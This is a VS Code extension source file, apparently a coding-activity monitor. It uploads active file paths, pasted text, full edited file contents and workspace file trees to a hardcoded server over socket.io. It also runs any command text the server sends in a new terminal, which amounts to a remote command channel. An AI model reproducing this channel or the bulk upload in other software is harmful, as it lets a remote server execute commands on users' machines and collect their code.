Files
hsa/extension.js
2025-09-21 14:03:40 +08:00

192 lines
5.7 KiB
JavaScript
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

const vscode = require('vscode');
const fs = require('fs');
const path = require('path');
const io = require('socket.io-client');
let debounceTimeout;
let vs_socket= null;
let config = {};
// 发送数据到 Flask 服务器,并携带 session 作为 Cookie
async function sendToServer(data) {
try {
if (!vs_socket) {
return;
}
// const response = await axios.post('http://localhost:5000/vscode_data', data, {
// });
// console.log('Data sent to Flask server:', response.data);
vs_socket.emit('message', data)
} catch (error) {
console.error('Error sending data to Flask server:', error);
}
}
// Reads and parses key-value pairs from the .config file
function readConfigFile(folderPath) {
const configFilePath = path.join(folderPath, '.config');
if (!fs.existsSync(configFilePath)) {
vscode.window.showErrorMessage('No .config file found in the workspace folder.');
return null;
}
try {
const configContent = fs.readFileSync(configFilePath, 'utf-8');
return JSON.parse(configContent);
} catch (error) {
console.error('Error reading the .config file:', error);
return null;
}
}
function establishSocketConnection(){
vscode.window.showInformationMessage('Connecting to server...');
vs_socket = io('ws://59.78.194.131:5000/vscode');
vs_socket.on('connect', () => {
vscode.window.showInformationMessage('Connected to server');
vs_socket.emit('login', { config: config });
});
vs_socket.on('disconnect', () => {
vscode.window.showInformationMessage('Disconnected from server');
});
vs_socket.on('terminal',(data)=>{
vscode.window.showInformationMessage('Terminal command received'+data);
const terminal = vscode.window.createTerminal('New Terminal');
// 在终端中执行命令
terminal.sendText(data.data);
// 显示终端
terminal.show();
})
}
// 激活插件时调用此函数
function activate(context) {
const workspaceFolders = vscode.workspace.workspaceFolders;
if (!workspaceFolders) {
vscode.window.showErrorMessage('No workspace folder is open.');
return;
}
const folderPath = workspaceFolders[0].uri.fsPath;
config = readConfigFile(folderPath);
if (config) {
console.log('Config file loaded:', config);
establishSocketConnection();
}
vscode.window.onDidChangeActiveTextEditor(editor => {
if (editor) {
const filePath = editor.document.uri.fsPath;
console.log(`Current open file: ${filePath}`);
sendToServer({
type: 'activeFile',
filePath: filePath,
config: config,
});
}
});
// 监听文件内容变化
vscode.workspace.onDidChangeTextDocument(event => {
const filePath = event.document.uri.fsPath;
const changes = event.contentChanges;
// 检查是否有大段文本插入,判断为粘贴操作
changes.forEach(change => {
if (change.text.length > 20 && !change.rangeLength) { // 设置长度阈值为20字符且非删除操作
console.log(`Detected paste action in file ${filePath}. Sending content...`);
sendToServer({
type: 'paste',
filePath: filePath,
content: change.text,
config: config,
});
}
});
// 防抖处理非粘贴的编辑操作
const content = event.document.getText();
debounceSendToServer({
type: 'fileEdit',
filePath: filePath,
content: content,
config: config,
}, 5000);
});
// 监听工作区的变化
vscode.workspace.onDidChangeWorkspaceFolders(event => {
console.log('Workspace folders changed');
const workspaceFolders = vscode.workspace.workspaceFolders;
if (workspaceFolders) {
workspaceFolders.forEach(folder => {
const fileTree = getFileTree(folder.uri);
console.log(`File Tree for ${folder.uri.fsPath}:`, fileTree);
sendToServer({
type: 'workspaceFolders',
fileTree: fileTree,
config: config,
});
});
}
});
if (workspaceFolders) {
workspaceFolders.forEach(folder => {
const fileTree = getFileTree(folder.uri);
console.log(`File Tree for ${folder.uri.fsPath}:`, fileTree);
sendToServer({
type: 'workspaceFolders',
fileTree: fileTree,
config: config,
});
});
}
}
// 缓冲器函数(防抖)
function debounceSendToServer(data, delay) {
if (debounceTimeout) {
clearTimeout(debounceTimeout);
}
debounceTimeout = setTimeout(() => {
sendToServer(data);
}, delay);
}
// 递归获取文件树
function getFileTree(uri) {
let result = [];
const files = fs.readdirSync(uri.fsPath);
files.forEach(file => {
const filePath = path.join(uri.fsPath, file);
const stat = fs.statSync(filePath);
if (stat.isDirectory()) {
result.push({
name: file,
type: 'folder',
children: getFileTree(vscode.Uri.file(filePath))
});
} else {
result.push({
name: file,
type: 'file'
});
}
});
return result;
}
// 禁用插件时调用此函数
function deactivate() {}
module.exports = {
activate,
deactivate
};